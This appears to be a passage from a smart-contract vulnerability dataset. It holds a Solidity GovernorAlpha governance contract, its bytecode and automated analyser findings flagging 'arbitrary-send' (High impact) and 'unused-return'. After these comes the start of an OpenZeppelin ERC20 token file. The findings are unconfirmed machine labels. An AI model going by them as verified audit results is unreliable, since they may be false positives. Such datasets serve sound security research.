for (uint i = 0; i < proposal.targets.length; i++) {
timelock.cancelTransaction(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta);
}
emit ProposalCanceled(proposalId);
}
function getActions(uint proposalId) public view returns (address[] memory targets, uint[] memory values, string[] memory signatures, bytes[] memory calldatas) {
Proposal storage p = proposals[proposalId];
return (p.targets, p.values, p.signatures, p.calldatas);
}
function getReceipt(uint proposalId, address voter) public view returns (Receipt memory) {
return proposals[proposalId].receipts[voter];
}
function state(uint proposalId) public view returns (ProposalState) {
require(proposalCount >= proposalId && proposalId > 0, "GovernorAlpha::state: invalid proposal id");
Proposal storage proposal = proposals[proposalId];
if (proposal.canceled) {
return ProposalState.Canceled;
} else if (block.number <= proposal.startBlock) {
return ProposalState.Pending;
} else if (block.number <= proposal.endBlock) {
return ProposalState.Active;
} else if (proposal.forVotes <= proposal.againstVotes || proposal.forVotes < quorumVotes()) {
return ProposalState.Defeated;
} else if (proposal.eta == 0) {
return ProposalState.Succeeded;
} else if (proposal.executed) {
return ProposalState.Executed;
} else if (block.timestamp >= add256(proposal.eta, timelock.GRACE_PERIOD())) {
return ProposalState.Expired;
} else {
return ProposalState.Queued;
}
}
function castVote(uint proposalId, bool support) public {
return _castVote(msg.sender, proposalId, support);
}
function castVoteBySig(uint proposalId, bool support, uint8 v, bytes32 r, bytes32 s) public {
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(BALLOT_TYPEHASH, proposalId, support));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "GovernorAlpha::castVoteBySig: invalid signature");
return _castVote(signatory, proposalId, support);
}
function _castVote(address voter, uint proposalId, bool support) internal {
require(state(proposalId) == ProposalState.Active, "GovernorAlpha::_castVote: voting is closed");
Proposal storage proposal = proposals[proposalId];
Receipt storage receipt = proposal.receipts[voter];
require(receipt.hasVoted == false, "GovernorAlpha::_castVote: voter already voted");
uint256 votes = peak.getPriorVotes(voter, proposal.startBlock);
if (support) {
proposal.forVotes = add256(proposal.forVotes, votes);
} else {
proposal.againstVotes = add256(proposal.againstVotes, votes);
}
receipt.hasVoted = true;
receipt.support = support;
receipt.votes = votes;
emit VoteCast(voter, proposalId, support, votes);
}
function __acceptAdmin() public {
require(msg.sender == guardian, "GovernorAlpha::__acceptAdmin: sender must be gov guardian");
timelock.acceptAdmin();
}
function __abdicate() public {
require(msg.sender == guardian, "GovernorAlpha::__abdicate: sender must be gov guardian");
guardian = address(0);
}
function __queueSetTimelockPendingAdmin(address newPendingAdmin, uint eta) public {
require(msg.sender == guardian, "GovernorAlpha::__queueSetTimelockPendingAdmin: sender must be gov guardian");
timelock.queueTransaction(address(timelock), 0, "setPendingAdmin(address)", abi.encode(newPendingAdmin), eta);
}
function __executeSetTimelockPendingAdmin(address newPendingAdmin, uint eta) public {
require(msg.sender == guardian, "GovernorAlpha::__executeSetTimelockPendingAdmin: sender must be gov guardian");
timelock.executeTransaction(address(timelock), 0, "setPendingAdmin(address)", abi.encode(newPendingAdmin), eta);
}
function add256(uint256 a, uint256 b) internal pure returns (uint) {
uint c = a + b;
require(c >= a, "addition overflow");
return c;
}
function sub256(uint256 a, uint256 b) internal pure returns (uint) {
require(b <= a, "subtraction underflow");
return a - b;
}
function getChainId() internal pure returns (uint) {
uint chainId;
assembly { chainId := chainid() }
return chainId;
}
}
interface TimelockInterface {
function delay() external view returns (uint);
function GRACE_PERIOD() external view returns (uint);
function acceptAdmin() external;
function queuedTransactions(bytes32 hash) external view returns (bool);
function queueTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external returns (bytes32);
function cancelTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external;
function executeTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external payable returns (bytes memory);
}
interface PeakInterface {
function getPriorVotes(address account, uint blockNumber) external view returns (uint256);
}
|
0x60806040526004361061019c5760003560e01c80634634c61f116100ec578063d33219b41161008a578063ddf0b00911610064578063ddf0b00914610456578063deaaa7cc14610476578063e23a9a521461048b578063fe0d94c1146104b85761019c565b8063d33219b41461040c578063da35c66414610421578063da95691a146104365761019c565b80637bdbe4d0116100c65780637bdbe4d0146103ad57806391500671146103c2578063b58131b0146103e2578063b9a61961146103f75761019c565b80634634c61f146103635780635c07b6ea14610383578063760fbc13146103985761019c565b806321f43e42116101595780633932abb1116101335780633932abb1146102df5780633e4f49e6146102f457806340e58ee514610321578063452a9320146103415761019c565b806321f43e421461027a57806324bc1a641461029a578063328dd982146102af5761019c565b8063013cf08b146101a157806302a251a3146101df57806306fdde031461020157806315373e3d1461022357806317977c611461024557806320606b7014610265575b600080fd5b3480156101ad57600080fd5b506101c16101bc366004612375565b6104cb565b6040516101d699989796959493929190613015565b60405180910390f35b3480156101eb57600080fd5b506101f4610524565b6040516101d6919061276b565b34801561020d57600080fd5b5061021661052a565b6040516101d691906127e2565b34801561022f57600080fd5b5061024361023e3660046123b9565b61055d565b005b34801561025157600080fd5b506101f46102603660046121bd565b61056c565b34801561027157600080fd5b506101f461057e565b34801561028657600080fd5b506102436102953660046121d8565b6105a2565b3480156102a657600080fd5b506101f4610689565b3480156102bb57600080fd5b506102cf6102ca366004612375565b610694565b6040516101d69493929190612713565b3480156102eb57600080fd5b506101f4610923565b34801561030057600080fd5b5061031461030f366004612375565b610928565b6040516101d691906127ce565b34801561032d57600080fd5b5061024361033c366004612375565b610ab2565b34801561034d57600080fd5b50610356610d12565b6040516101d691906125cd565b34801561036f57600080fd5b5061024361037e3660046123e8565b610d21565b34801561038f57600080fd5b50610356610ed4565b3480156103a457600080fd5b50610243610ee3565b3480156103b957600080fd5b506101f4610f1f565b3480156103ce57600080fd5b506102436103dd3660046121d8565b610f24565b3480156103ee57600080fd5b506101f4610ff9565b34801561040357600080fd5b50610243611004565b34801561041857600080fd5b50610356611089565b34801561042d57600080fd5b506101f4611098565b34801561044257600080fd5b506101f4610451366004612202565b61109e565b34801561046257600080fd5b50610243610471366004612375565b6114b5565b34801561048257600080fd5b506101f461171f565b34801561049757600080fd5b506104ab6104a636600461238d565b611743565b6040516101d69190612f58565b6102436104c6366004612375565b6117a7565b6004602052600090815260409020805460018201546002830154600784015460088501546009860154600a870154600b9097015495966001600160a01b0390951695939492939192909160ff8082169161010090041689565b619d8090565b604051806040016040528060178152602001765045414b4445464920476f7665726e6f7220416c70686160481b81525081565b61056833838361196c565b5050565b60056020526000908152604090205481565b7f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a86681565b6002546001600160a01b031633146105d55760405162461bcd60e51b81526004016105cc90612927565b60405180910390fd5b600080546040516001600160a01b0390911691630825f38f918391906105ff9087906020016125cd565b604051602081830303815290604052856040518563ffffffff1660e01b815260040161062e94939291906125fa565b600060405180830381600087803b15801561064857600080fd5b505af115801561065c573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526106849190810190612302565b505050565b660e35fa931a000090565b6060806060806000600460008781526020019081526020016000209050806003018160040182600501836006018380548060200260200160405190810160405280929190818152602001828054801561071657602002820191906000526020600020905b81546001600160a01b031681526001909101906020018083116106f8575b505050505093508280548060200260200160405190810160405280929190818152602001828054801561076857602002820191906000526020600020905b815481526020019060010190808311610754575b5050505050925081805480602002602001604051908101604052809291908181526020016000905b8282101561083b5760008481526020908190208301805460408051601f60026000196101006001871615020190941693909304928301859004850281018501909152818152928301828280156108275780601f106107fc57610100808354040283529160200191610827565b820191906000526020600020905b81548152906001019060200180831161080a57829003601f168201915b505050505081526020019060010190610790565b50505050915080805480602002602001604051908101604052809291908181526020016000905b8282101561090d5760008481526020908190208301805460408051601f60026000196101006001871615020190941693909304928301859004850281018501909152818152928301828280156108f95780601f106108ce576101008083540402835291602001916108f9565b820191906000526020600020905b8154815290600101906020018083116108dc57829003601f168201915b505050505081526020019060010190610862565b5050505090509450945094509450509193509193565b600190565b6000816003541015801561093c5750600082115b6109585760405162461bcd60e51b81526004016105cc90612999565b6000828152600460205260409020600b81015460ff161561097d576002915050610aad565b80600701544311610992576000915050610aad565b806008015443116109a7576001915050610aad565b80600a015481600901541115806109c857506109c1610689565b8160090154105b156109d7576003915050610aad565b60028101546109ea576004915050610aad565b600b810154610100900460ff1615610a06576007915050610aad565b610a97816002015460008054906101000a90046001600160a01b03166001600160a01b031663c1a287e26040518163ffffffff1660e01b815260040160206040518083038186803b158015610a5a57600080fd5b505afa158015610a6e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a9291906122ea565b611b08565b4210610aa7576006915050610aad565b60059150505b919050565b6000610abd82610928565b90506007816007811115610acd57fe5b1415610aeb5760405162461bcd60e51b81526004016105cc90612e33565b60008281526004602052604090206002546001600160a01b0316331480610bad5750610b15610ff9565b60018054838201546001600160a01b039182169263782d6fe19290911690610b3e904390611b34565b6040518363ffffffff1660e01b8152600401610b5b9291906125e1565b60206040518083038186803b158015610b7357600080fd5b505afa158015610b87573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bab91906122ea565b105b610bc95760405162461bcd60e51b81526004016105cc90612bff565b600b8101805460ff1916600117905560005b6003820154811015610cd5576000546003830180546001600160a01b039092169163591fcdfe919084908110610c0d57fe5b6000918252602090912001546004850180546001600160a01b039092169185908110610c3557fe5b9060005260206000200154856005018581548110610c4f57fe5b90600052602060002001866006018681548110610c6857fe5b9060005260206000200187600201546040518663ffffffff1660e01b8152600401610c979594939291906126da565b600060405180830381600087803b158015610cb157600080fd5b505af1158015610cc5573d6000803e3d6000fd5b505060019092019150610bdb9050565b507f789cf55be980739dad1d0699b93b58e806b51c9d96619bfa8fe0a28abaa7b30c83604051610d05919061276b565b60405180910390a1505050565b6002546001600160a01b031681565b6040805180820190915260178152765045414b4445464920476f7665726e6f7220416c70686160481b60209091015260007f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a8667f6130fd4c4c8efcb0fca663d630f6c5c894306c51e1be5421d0c4983baba77ecc610d9c611b5c565b30604051602001610db09493929190612774565b60405160208183030381529060405280519060200120905060007f8e25870c07e0b0b3884c78da52790939a455c275406c44ae8b434b692fb916ee8787604051602001610dff93929190612798565b60405160208183030381529060405280519060200120905060008282604051602001610e2c9291906125b2565b604051602081830303815290604052805190602001209050600060018288888860405160008152602001604052604051610e6994939291906127b0565b6020604051602081039080840390855afa158015610e8b573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b038116610ebe5760405162461bcd60e51b81526004016105cc90612d61565b610ec9818a8a61196c565b505050505050505050565b6001546001600160a01b031681565b6002546001600160a01b03163314610f0d5760405162461bcd60e51b81526004016105cc90612f02565b600280546001600160a01b0319169055565b600a90565b6002546001600160a01b03163314610f4e5760405162461bcd60e51b81526004016105cc90612ab2565b600080546040516001600160a01b0390911691633a66f90191839190610f789087906020016125cd565b604051602081830303815290604052856040518563ffffffff1660e01b8152600401610fa794939291906125fa565b602060405180830381600087803b158015610fc157600080fd5b505af1158015610fd5573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061068491906122ea565b66038d7ea4c6800090565b6002546001600160a01b0316331461102e5760405162461bcd60e51b81526004016105cc906127f5565b6000805460408051630e18b68160e01b815290516001600160a01b0390921692630e18b6819260048084019382900301818387803b15801561106f57600080fd5b505af1158015611083573d6000803e3d6000fd5b50505050565b6000546001600160a01b031681565b60035481565b60006110a8610ff9565b600180546001600160a01b03169063782d6fe19033906110c9904390611b34565b6040518363ffffffff1660e01b81526004016110e69291906125e1565b60206040518083038186803b1580156110fe57600080fd5b505afa158015611112573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061113691906122ea565b116111535760405162461bcd60e51b81526004016105cc90612d04565b84518651148015611165575083518651145b8015611172575082518651145b61118e5760405162461bcd60e51b81526004016105cc90612b95565b85516111ac5760405162461bcd60e51b81526004016105cc90612cb8565b6111b4610f1f565b865111156111d45760405162461bcd60e51b81526004016105cc90612b22565b3360009081526005602052604090205480156112515760006111f582610928565b9050600181600781111561120557fe5b14156112235760405162461bcd60e51b81526004016105cc90612db0565b600081600781111561123157fe5b141561124f5760405162461bcd60e51b81526004016105cc90612a2f565b505b600061125f43610a92610923565b9050600061126f82610a92610524565b6003805460010190559050611282611cbf565b604051806101a001604052806003548152602001336001600160a01b03168152602001600081526020018b81526020018a815260200189815260200188815260200184815260200183815260200160008152602001600081526020016000151581526020016000151581525090508060046000836000015181526020019081526020016000206000820151816000015560208201518160010160006101000a8154816001600160a01b0302191690836001600160a01b03160217905550604082015181600201556060820151816003019080519060200190611365929190611d34565b5060808201518051611381916004840191602090910190611d99565b5060a0820151805161139d916005840191602090910190611de0565b5060c082015180516113b9916006840191602090910190611e39565b5060e082015181600701556101008201518160080155610120820151816009015561014082015181600a015561016082015181600b0160006101000a81548160ff02191690831515021790555061018082015181600b0160016101000a81548160ff02191690831515021790555090505080600001516005600083602001516001600160a01b03166001600160a01b03168152602001908152602001600020819055507f7d84a6263ae0d98d3329bd7b46bb4e8d6f98cd35a7adb45c274c8b7fd5ebd5e08160000151338c8c8c8c89898e60405161149f99989796959493929190612f7d565b60405180910390a1519998505050505050505050565b60046114c082610928565b60078111156114cb57fe5b146114e85760405162461bcd60e51b81526004016105cc90612852565b600081815260046020818152604080842084548251630d48571f60e31b8152925191959461153d9442946001600160a01b0390931693636a42b8f8938084019390829003018186803b158015610a5a57600080fd5b905060005b60038301548110156116e5576116dd83600301828154811061156057fe5b6000918252602090912001546004850180546001600160a01b03909216918490811061158857fe5b90600052602060002001548560050184815481106115a257fe5b600091825260209182902001805460408051601f60026000196101006001871615020190941693909304928301859004850281018501909152818152928301828280156116305780601f1061160557610100808354040283529160200191611630565b820191906000526020600020905b81548152906001019060200180831161161357829003601f168201915b505050505086600601858154811061164457fe5b600091825260209182902001805460408051601f60026000196101006001871615020190941693909304928301859004850281018501909152818152928301828280156116d25780601f106116a7576101008083540402835291602001916116d2565b820191906000526020600020905b8154815290600101906020018083116116b557829003601f168201915b505050505086611b60565b600101611542565b50600282018190556040517f9a2e42fd6722813d69113e7d0079d3d940171428df7373df9c7f7617cfda289290610d059085908490613061565b7f8e25870c07e0b0b3884c78da52790939a455c275406c44ae8b434b692fb916ee81565b61174b611e92565b5060008281526004602090815260408083206001600160a01b0385168452600c018252918290208251606081018452815460ff808216151583526101009091041615159281019290925260010154918101919091525b92915050565b60056117b282610928565b60078111156117bd57fe5b146117da5760405162461bcd60e51b81526004016105cc906128bc565b6000818152600460205260408120600b8101805461ff001916610100179055905b6003820154811015611930576000546004830180546001600160a01b0390921691630825f38f91908490811061182d57fe5b906000526020600020015484600301848154811061184757fe5b6000918252602090912001546004860180546001600160a01b03909216918690811061186f57fe5b906000526020600020015486600501868154811061188957fe5b906000526020600020018760060187815481106118a257fe5b9060005260206000200188600201546040518763ffffffff1660e01b81526004016118d19594939291906126da565b6000604051808303818588803b1580156118ea57600080fd5b505af11580156118fe573d6000803e3d6000fd5b50505050506040513d6000823e601f3d908101601f191682016040526119279190810190612302565b506001016117fb565b507f712ae1383f79ac853f8d882153778e0260ef8f03b504e2866e0593e04d2b291f82604051611960919061276b565b60405180910390a15050565b600161197783610928565b600781111561198257fe5b1461199f5760405162461bcd60e51b81526004016105cc90612e89565b60008281526004602090815260408083206001600160a01b0387168452600c8101909252909120805460ff16156119e85760405162461bcd60e51b81526004016105cc906129e2565b600154600783015460405163782d6fe160e01b81526000926001600160a01b03169163782d6fe191611a1e918a916004016125e1565b60206040518083038186803b158015611a3657600080fd5b505afa158015611a4a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a6e91906122ea565b90508315611a8e57611a84836009015482611b08565b6009840155611aa2565b611a9c83600a015482611b08565b600a8401555b8154600160ff19909116811761ff0019166101008615150217835582018190556040517f877856338e13f63d0c36822ff0ef736b80934cd90574a3a5bc9262c39d217c4690611af8908890889088908690612666565b60405180910390a1505050505050565b600082820183811015611b2d5760405162461bcd60e51b81526004016105cc90612b6a565b9392505050565b600082821115611b565760405162461bcd60e51b81526004016105cc90612ed3565b50900390565b4690565b6000546040516001600160a01b039091169063f2b0653790611b8e908890889088908890889060200161268e565b604051602081830303815290604052805190602001206040518263ffffffff1660e01b8152600401611bc0919061276b565b60206040518083038186803b158015611bd857600080fd5b505afa158015611bec573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c1091906122ce565b15611c2d5760405162461bcd60e51b81526004016105cc90612c4e565b600054604051633a66f90160e01b81526001600160a01b0390911690633a66f90190611c65908890889088908890889060040161268e565b602060405180830381600087803b158015611c7f57600080fd5b505af1158015611c93573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611cb791906122ea565b505050505050565b604051806101a001604052806000815260200160006001600160a01b031681526020016000815260200160608152602001606081526020016060815260200160608152602001600081526020016000815260200160008152602001600081526020016000151581526020016000151581525090565b828054828255906000526020600020908101928215611d89579160200282015b82811115611d8957825182546001600160a01b0319166001600160a01b03909116178255602090920191600190910190611d54565b50611d95929150611eb2565b5090565b828054828255906000526020600020908101928215611dd4579160200282015b82811115611dd4578251825591602001919060010190611db9565b50611d95929150611ed1565b828054828255906000526020600020908101928215611e2d579160200282015b82811115611e2d5782518051611e1d918491602090910190611ee6565b5091602001919060010190611e00565b50611d95929150611f53565b828054828255906000526020600020908101928215611e86579160200282015b82811115611e865782518051611e76918491602090910190611ee6565b5091602001919060010190611e59565b50611d95929150611f70565b604080516060810182526000808252602082018190529181019190915290565b5b80821115611d955780546001600160a01b0319168155600101611eb3565b5b80821115611d955760008155600101611ed2565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10611f2757805160ff1916838001178555611dd4565b82800160010185558215611dd45791820182811115611dd4578251825591602001919060010190611db9565b80821115611d95576000611f678282611f8d565b50600101611f53565b80821115611d95576000611f848282611f8d565b50600101611f70565b50805460018160011615610100020316600290046000825580601f10611fb35750611fd1565b601f016020900490600052602060002090810190611fd19190611ed1565b50565b80356001600160a01b03811681146117a157600080fd5b600082601f830112611ffb578081fd5b813561200e61200982613096565b61306f565b81815291506020808301908481018184028601820187101561202f57600080fd5b60005b84811015612056576120448883611fd4565b84529282019290820190600101612032565b505050505092915050565b600082601f830112612071578081fd5b813561207f61200982613096565b818152915060208083019084810160005b84811015612056576120a7888484358a010161216f565b84529282019290820190600101612090565b600082601f8301126120c9578081fd5b81356120d761200982613096565b818152915060208083019084810160005b84811015612056576120ff888484358a010161216f565b845292820192908201906001016120e8565b600082601f830112612121578081fd5b813561212f61200982613096565b81815291506020808301908481018184028601820187101561215057600080fd5b60005b8481101561205657813584529282019290820190600101612153565b600082601f83011261217f578081fd5b813561218d612009826130b6565b91508082528360208285010111156121a457600080fd5b8060208401602084013760009082016020015292915050565b6000602082840312156121ce578081fd5b611b2d8383611fd4565b600080604083850312156121ea578081fd5b6121f48484611fd4565b946020939093013593505050565b600080600080600060a08688031215612219578081fd5b853567ffffffffffffffff80821115612230578283fd5b61223c89838a01611feb565b96506020880135915080821115612251578283fd5b61225d89838a01612111565b95506040880135915080821115612272578283fd5b61227e89838a016120b9565b94506060880135915080821115612293578283fd5b61229f89838a01612061565b935060808801359150808211156122b4578283fd5b506122c18882890161216f565b9150509295509295909350565b6000602082840312156122df578081fd5b8151611b2d81613112565b6000602082840312156122fb578081fd5b5051919050565b600060208284031215612313578081fd5b815167ffffffffffffffff811115612329578182fd5b8201601f81018413612339578182fd5b8051612347612009826130b6565b81815285602083850101111561235b578384fd5b61236c8260208301602086016130e6565b95945050505050565b600060208284031215612386578081fd5b5035919050565b6000806040838503121561239f578182fd5b823591506123b08460208501611fd4565b90509250929050565b600080604083850312156123cb578182fd5b8235915060208301356123dd81613112565b809150509250929050565b600080600080600060a086880312156123ff578283fd5b85359450602086013561241181613112565b9350604086013560ff81168114612426578384fd5b94979396509394606081013594506080013592915050565b6000815180845260208085019450808401835b838110156124765781516001600160a01b031687529582019590820190600101612451565b509495945050505050565b6000815180845260208085018081965082840281019150828601855b858110156124c75782840389526124b5848351612503565b9885019893509084019060010161249d565b5091979650505050505050565b6000815180845260208085019450808401835b83811015612476578151875295820195908201906001016124e7565b6000815180845261251b8160208601602086016130e6565b601f01601f19169290920160200192915050565b6000815460018082166000811461254d576001811461256b576125a9565b60028304607f16865260ff19831660208701526040860193506125a9565b6002830480875261257b866130da565b60005b8281101561259f5781546020828b010152848201915060208101905061257e565b8801602001955050505b50505092915050565b61190160f01b81526002810192909252602282015260420190565b6001600160a01b0391909116815260200190565b6001600160a01b03929092168252602082015260400190565b600060018060a01b038616825284602083015260a06040830152601860a08301527f73657450656e64696e6741646d696e286164647265737329000000000000000060c083015260e0606083015261265560e0830185612503565b905082608083015295945050505050565b6001600160a01b03949094168452602084019290925215156040830152606082015260800190565b600060018060a01b038716825285602083015260a060408301526126b560a0830186612503565b82810360608401526126c78186612503565b9150508260808301529695505050505050565b600060018060a01b038716825285602083015260a0604083015261270160a083018661252f565b82810360608401526126c7818661252f565b600060808252612726608083018761243e565b828103602084015261273881876124d4565b9050828103604084015261274c8186612481565b905082810360608401526127608185612481565b979650505050505050565b90815260200190565b938452602084019290925260408301526001600160a01b0316606082015260800190565b92835260208301919091521515604082015260600190565b93845260ff9290921660208401526040830152606082015260800190565b60208101600883106127dc57fe5b91905290565b600060208252611b2d6020830184612503565b60208082526039908201527f476f7665726e6f72416c7068613a3a5f5f61636365707441646d696e3a20736560408201527f6e646572206d75737420626520676f7620677561726469616e00000000000000606082015260800190565b60208082526044908201527f476f7665726e6f72416c7068613a3a71756575653a2070726f706f73616c206360408201527f616e206f6e6c79206265207175657565642069662069742069732073756363656060820152631959195960e21b608082015260a00190565b60208082526045908201527f476f7665726e6f72416c7068613a3a657865637574653a2070726f706f73616c60408201527f2063616e206f6e6c7920626520657865637574656420696620697420697320716060820152641d595d595960da1b608082015260a00190565b6020808252604c908201527f476f7665726e6f72416c7068613a3a5f5f6578656375746553657454696d656c60408201527f6f636b50656e64696e6741646d696e3a2073656e646572206d7573742062652060608201526b33b7bb1033bab0b93234b0b760a11b608082015260a00190565b60208082526029908201527f476f7665726e6f72416c7068613a3a73746174653a20696e76616c69642070726040820152681bdc1bdcd85b081a5960ba1b606082015260800190565b6020808252602d908201527f476f7665726e6f72416c7068613a3a5f63617374566f74653a20766f7465722060408201526c185b1c9958591e481d9bdd1959609a1b606082015260800190565b60208082526059908201527f476f7665726e6f72416c7068613a3a70726f706f73653a206f6e65206c69766560408201527f2070726f706f73616c207065722070726f706f7365722c20666f756e6420616e60608201527f20616c72656164792070656e64696e672070726f706f73616c00000000000000608082015260a00190565b6020808252604a908201527f476f7665726e6f72416c7068613a3a5f5f717565756553657454696d656c6f6360408201527f6b50656e64696e6741646d696e3a2073656e646572206d75737420626520676f6060820152693b1033bab0b93234b0b760b11b608082015260a00190565b60208082526028908201527f476f7665726e6f72416c7068613a3a70726f706f73653a20746f6f206d616e7960408201526720616374696f6e7360c01b606082015260800190565b6020808252601190820152706164646974696f6e206f766572666c6f7760781b604082015260600190565b60208082526044908201527f476f7665726e6f72416c7068613a3a70726f706f73653a2070726f706f73616c60408201527f2066756e6374696f6e20696e666f726d6174696f6e206172697479206d69736d6060820152630c2e8c6d60e31b608082015260a00190565b6020808252602f908201527f476f7665726e6f72416c7068613a3a63616e63656c3a2070726f706f7365722060408201526e18589bdd99481d1a1c995cda1bdb19608a1b606082015260800190565b60208082526044908201527f476f7665726e6f72416c7068613a3a5f71756575654f725265766572743a207060408201527f726f706f73616c20616374696f6e20616c7265616479207175657565642061746060820152632065746160e01b608082015260a00190565b6020808252602c908201527f476f7665726e6f72416c7068613a3a70726f706f73653a206d7573742070726f60408201526b7669646520616374696f6e7360a01b606082015260800190565b6020808252603f908201527f476f7665726e6f72416c7068613a3a70726f706f73653a2070726f706f73657260408201527f20766f7465732062656c6f772070726f706f73616c207468726573686f6c6400606082015260800190565b6020808252602f908201527f476f7665726e6f72416c7068613a3a63617374566f746542795369673a20696e60408201526e76616c6964207369676e617475726560881b606082015260800190565b60208082526058908201527f476f7665726e6f72416c7068613a3a70726f706f73653a206f6e65206c69766560408201527f2070726f706f73616c207065722070726f706f7365722c20666f756e6420616e60608201527f20616c7265616479206163746976652070726f706f73616c0000000000000000608082015260a00190565b60208082526036908201527f476f7665726e6f72416c7068613a3a63616e63656c3a2063616e6e6f742063616040820152751b98d95b08195e1958dd5d1959081c1c9bdc1bdcd85b60521b606082015260800190565b6020808252602a908201527f476f7665726e6f72416c7068613a3a5f63617374566f74653a20766f74696e67604082015269081a5cc818db1bdcd95960b21b606082015260800190565b6020808252601590820152747375627472616374696f6e20756e646572666c6f7760581b604082015260600190565b60208082526036908201527f476f7665726e6f72416c7068613a3a5f5f61626469636174653a2073656e6465604082015275391036bab9ba1031329033b7bb1033bab0b93234b0b760511b606082015260800190565b8151151581526020808301511515908201526040918201519181019190915260600190565b8981526001600160a01b038916602082015261012060408201819052600090612fa88382018b61243e565b90508281036060840152612fbc818a6124d4565b90508281036080840152612fd08189612481565b905082810360a0840152612fe48188612481565b90508560c08401528460e08401528281036101008401526130058185612503565b9c9b505050505050505050505050565b9889526001600160a01b0397909716602089015260408801959095526060870193909352608086019190915260a085015260c0840152151560e083015215156101008201526101200190565b918252602082015260400190565b60405181810167ffffffffffffffff8111828210171561308e57600080fd5b604052919050565b600067ffffffffffffffff8211156130ac578081fd5b5060209081020190565b600067ffffffffffffffff8211156130cc578081fd5b50601f01601f191660200190565b60009081526020902090565b60005b838110156131015781810151838201526020016130e9565b838111156110835750506000910152565b8015158114611fd157600080fdfea164736f6c634300060c000a
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,256 |
0xc39b0390d9ef46972fc29d08a130fd71f449ebb8
|
pragma solidity ^0.4.24;
// File: openzeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: openzeppelin-solidity/contracts/token/ERC20/BasicToken.sol
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: openzeppelin-solidity/contracts/token/ERC20/StandardToken.sol
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
